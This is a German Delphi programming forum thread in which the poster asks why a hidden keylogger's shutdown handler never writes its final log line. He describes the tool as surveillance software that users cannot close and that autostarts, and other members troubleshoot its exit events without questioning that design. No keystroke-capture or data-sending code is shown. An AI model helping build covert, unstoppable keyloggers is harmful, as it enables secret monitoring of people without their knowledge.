Autor Beitrag
F34r0fTh3D4rk
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Di 15.02.05 19:26 
hallo!

ich habe einen keylogger ohne sichtbares Fenster und eine Textdatei in die geschrieben wird (file of byte)

nun möchte ich im onclose ereignis folgendes machen:

ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
  b: string;
  i, ch: byte;
begin
  b:= ' [Stopped Logging at ' + timetostr(now) +'] ';
  for i:= 1 to length(b) do
    begin
      ch:= ord(b[i]);
      write(f,ch);
    end;
  closefile(f);
end;

Der Code ist korrekt, aber das OnClose wird beim schließen des Programms nicht abgefragt, also finden diese aktionen nicht statt, ich denke mal das liegt daran, dass application.showmainform:= false ist und dass das onclose ereignis für das formular gilt, da dieses aber nicht geschlossen wird, weil es ja nicht existiert, passiert auch nichts.
OnCreate funktioniert, weil es über application.showmainform:= false steht, wie frage ich jetzt aber ab, wenn mein programm beendet wird ?
jasocul
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 6395
Erhaltene Danke: 149

Windows 7 + Windows 10
Sydney Prof + CE
BeitragVerfasst: Di 15.02.05 19:32 
Funktioniert CloseQuery?
F34r0fTh3D4rk Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Di 15.02.05 19:34 
nein, wahrscheinlich liegts am formular

ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
program dklog;

uses
  Forms,
  UMain in 'UMain.pas' {Form1};

{$R *.res}

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.ShowMainForm:= false;
  Application.Run;
end.
jasocul
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 6395
Erhaltene Danke: 149

Windows 7 + Windows 10
Sydney Prof + CE
BeitragVerfasst: Di 15.02.05 19:48 
Dann würde ich OnDestroy nochmal probieren.
Close und CloseQuery reagieren offensichtlich nicht, wenn die Form nicht angezeigt wird. Aber Destroy sollte auf jeden Fall aufgerufen werden, da die Form ja existiert.
F34r0fTh3D4rk Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Di 15.02.05 19:51 
dann wird es nicht kompiliert, da kommt

Zitat:

[Fataler Fehler]Ausgabedatei 'C:\....\dklog.exe' kann nicht erstellt werden
CenBells
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 1547

Win 7
Delphi XE5 Pro
BeitragVerfasst: Di 15.02.05 19:59 
F34r0fTh3D4rk hat folgendes geschrieben:
dann wird es nicht kompiliert, da kommt

Zitat:

[Fataler Fehler]Ausgabedatei 'C:\....\dklog.exe' kann nicht erstellt werden

Dann läuft das programm warscheinlich noch. :roll:

Gruß

_________________
Eine Klasse beschreibt die Struktur und das Verhalten einer Menge gleichartiger Objekte.
jasocul
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 6395
Erhaltene Danke: 149

Windows 7 + Windows 10
Sydney Prof + CE
BeitragVerfasst: Di 15.02.05 20:00 
Das habe ich (nach einigem Nachdenken) fast befürchtet. Das Destroy wird vermutlich erst aufgerufen, wenn alle anderen Dinge auf der Form schon "erledigt" sind.

Hast du die Möglichkeit, dass nach dem Application.Run durchzuführen? Sowas habe ich nämlich noch nie ausprobiert.
Wahrscheinlich musst du dafür ein bisschen umbauen.
F34r0fTh3D4rk Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Di 15.02.05 20:16 
ich habs so getestet:
ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
program Project2;

uses
  Forms, dialogs,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.res}

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
  Showmessage('Beendet?');
end.

die message kommt aber nicht!
ich dachte auch, dass der nächste befehl ausgeführt wird, wenn die schleife beendet ist, aber dem ist wohl nicht so :roll:

@Cen Bells: du hattest recht, aber es passiert trotzdem nichts !
jasocul
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 6395
Erhaltene Danke: 149

Windows 7 + Windows 10
Sydney Prof + CE
BeitragVerfasst: Di 15.02.05 20:20 
Ein ShowMessage kann schon problematisch sein, nach dem Run. Versuch einfach mal ein Datei zu erstellen. Muss ja nix drin stehen. Aber visuelle Dinge nach dem Run??
F34r0fTh3D4rk Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Di 15.02.05 20:22 
welche uses brauche ich dafür, gib mal n beispiel, memo1.savetofile macht vielleicht auch nicht viel sinn, ich probiers mal mit assignfile und rewrite
F34r0fTh3D4rk Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Di 15.02.05 20:26 
getestet mit:
ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
program dklog;

uses
  Forms,
  UMain in 'UMain.pas' {Form1};

{$R *.res}
var
g: textfile;

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.ShowMainForm:= false;
  Application.Run;
  assignfile(g, 'C:\test.txt');
  rewrite(g);
  writeln(g, 'test');
end.

geht aber auch net, mit showmessage hätte es aber auch klappen müssen :?
was ist mit form1.hide ?
läuft glaube ich auf das selbe hinaus
Sprint
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 849



BeitragVerfasst: Di 15.02.05 20:37 
Der Fehler liegt nicht im OnClose. Sondern das Programm wird nicht sauber beendet. Hier stellt sich mir die Frage, wie du dein Programm beendest und wie ein Benutzer dein Programm beenden kann.

_________________
Ciao, Sprint.
F34r0fTh3D4rk Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Di 15.02.05 20:39 
der benutzer beendet es durch restart und ich durch programm zurücksetzen in delphi
Sprint
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 849



BeitragVerfasst: Di 15.02.05 20:40 
Es geht mir nicht um eine Erklärung, sondern welche Befehle du benutzt.

_________________
Ciao, Sprint.
F34r0fTh3D4rk Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Di 15.02.05 20:40 
gar keine ?
Sprint
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 849



BeitragVerfasst: Di 15.02.05 20:45 
F34r0fTh3D4rk hat folgendes geschrieben:
gar keine ?

Also kann dein Programm nur durch den TaskManager beendet werden? Oder wie soll ich das jetzt verstehen?

_________________
Ciao, Sprint.
F34r0fTh3D4rk Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Di 15.02.05 20:47 
es soll ja nicht beendet werden können, es ist ein teil meiner überwachungssoftware und kann nur durch restart (danach aber autom. autostart) oder vom hauptprog beendet werden (wenns fertig ist)
Sprint
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 849



BeitragVerfasst: Di 15.02.05 21:01 
Da dein Programm erst beim Beenden von Windows geschlossen wird, musst du OnCloseQuery nehmen. OnClose wird nicht aufgerufen. So wie ich schon gesagt habe, es liegt nicht an OnClose sondern wie dein Programm beendet wird.

_________________
Ciao, Sprint.
F34r0fTh3D4rk Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Di 15.02.05 21:02 
da funktioniert es aber auch nicht !
Sprint
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 849



BeitragVerfasst: Di 15.02.05 21:03 
F34r0fTh3D4rk hat folgendes geschrieben:
da funktioniert es aber auch nicht !

Warum sollte das bei mir funktionieren und bei dir nicht?

_________________
Ciao, Sprint.